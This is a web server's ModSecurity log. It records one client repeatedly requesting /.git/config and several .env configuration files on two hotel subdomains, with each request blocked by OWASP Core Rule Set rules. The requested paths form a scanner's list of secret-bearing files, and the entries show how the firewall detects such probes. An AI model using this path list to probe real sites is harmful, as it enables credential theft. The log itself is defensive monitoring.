[Sun Oct 25 07:40:34.082147 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3qstM5mscaDMZSsHxq7gAAAAE"]
[Sun Oct 25 07:40:34.082379 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3qstM5mscaDMZSsHxq7gAAAAE"]
[Sun Oct 25 07:40:34.082551 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3qsiQ6C_qJaeV2JCrHbwAAABQ"]
[Sun Oct 25 07:40:34.082713 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3qstM5mscaDMZSsHxq7gAAAAE"]
[Sun Oct 25 07:40:34.082738 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3qsiQ6C_qJaeV2JCrHbwAAABQ"]
[Sun Oct 25 07:40:34.082990 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3qsiQ6C_qJaeV2JCrHbwAAABQ"]
[Sun Oct 25 07:40:34.280890 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3qsiQ6C_qJaeV2JCrHcQAAABQ"]
[Sun Oct 25 07:40:34.281165 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3qsiQ6C_qJaeV2JCrHcQAAABQ"]
[Sun Oct 25 07:40:34.281519 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3qsiQ6C_qJaeV2JCrHcQAAABQ"]
[Sun Oct 25 07:40:34.328466 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3qstM5mscaDMZSsHxq8AAAAAE"]
[Sun Oct 25 07:40:34.328712 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3qstM5mscaDMZSsHxq8AAAAAE"]
[Sun Oct 25 07:40:34.329038 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3qstM5mscaDMZSsHxq8AAAAAE"]
[Sun Oct 25 07:40:34.403770 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3qsiQ6C_qJaeV2JCrHcgAAABQ"]
[Sun Oct 25 07:40:34.404033 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3qsiQ6C_qJaeV2JCrHcgAAABQ"]
[Sun Oct 25 07:40:34.404397 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3qsiQ6C_qJaeV2JCrHcgAAABQ"]
[Sun Oct 25 07:40:34.445711 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3qstM5mscaDMZSsHxq8QAAAAE"]
[Sun Oct 25 07:40:34.445925 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3qstM5mscaDMZSsHxq8QAAAAE"]
[Sun Oct 25 07:40:34.446160 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3qstM5mscaDMZSsHxq8QAAAAE"]
[Sun Oct 25 07:40:34.556378 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3qsiQ6C_qJaeV2JCrHcwAAABQ"]
[Sun Oct 25 07:40:34.556640 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3qsiQ6C_qJaeV2JCrHcwAAABQ"]
[Sun Oct 25 07:40:34.556980 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3qsiQ6C_qJaeV2JCrHcwAAABQ"]
[Sun Oct 25 07:40:34.562376 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3qstM5mscaDMZSsHxq8gAAAAE"]
[Sun Oct 25 07:40:34.562611 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3qstM5mscaDMZSsHxq8gAAAAE"]
[Sun Oct 25 07:40:34.562891 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3qstM5mscaDMZSsHxq8gAAAAE"]
[Sun Oct 25 07:40:34.698555 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3qsiQ6C_qJaeV2JCrHdAAAABQ"]
[Sun Oct 25 07:40:34.698858 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3qsiQ6C_qJaeV2JCrHdAAAABQ"]
[Sun Oct 25 07:40:34.699255 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3qsiQ6C_qJaeV2JCrHdAAAABQ"]
[Sun Oct 25 07:40:34.705461 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3qstM5mscaDMZSsHxq8wAAAAE"]
[Sun Oct 25 07:40:34.705679 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3qstM5mscaDMZSsHxq8wAAAAE"]
[Sun Oct 25 07:40:34.705940 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3qstM5mscaDMZSsHxq8wAAAAE"]
[Sun Oct 25 07:40:34.840277 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3qsiQ6C_qJaeV2JCrHdQAAABQ"]
[Sun Oct 25 07:40:34.840519 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3qsiQ6C_qJaeV2JCrHdQAAABQ"]
[Sun Oct 25 07:40:34.840870 2026] [security2:error] [pid 2815606:tid 2815606] [client 34.178.30.68:43082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3qsiQ6C_qJaeV2JCrHdQAAABQ"]
[Sun Oct 25 07:40:34.841369 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3qstM5mscaDMZSsHxq9AAAAAE"]
[Sun Oct 25 07:40:34.841559 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3qstM5mscaDMZSsHxq9AAAAAE"]
[Sun Oct 25 07:40:34.841816 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3qstM5mscaDMZSsHxq9AAAAAE"]
[Sun Oct 25 07:40:35.030714 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3qs9M5mscaDMZSsHxq9QAAAAE"]
[Sun Oct 25 07:40:35.030946 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3qs9M5mscaDMZSsHxq9QAAAAE"]
[Sun Oct 25 07:40:35.031225 2026] [security2:error] [pid 2822163:tid 2822163] [client 34.178.30.68:43094] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3qs9M5mscaDMZSsHxq9QAAAAE"]
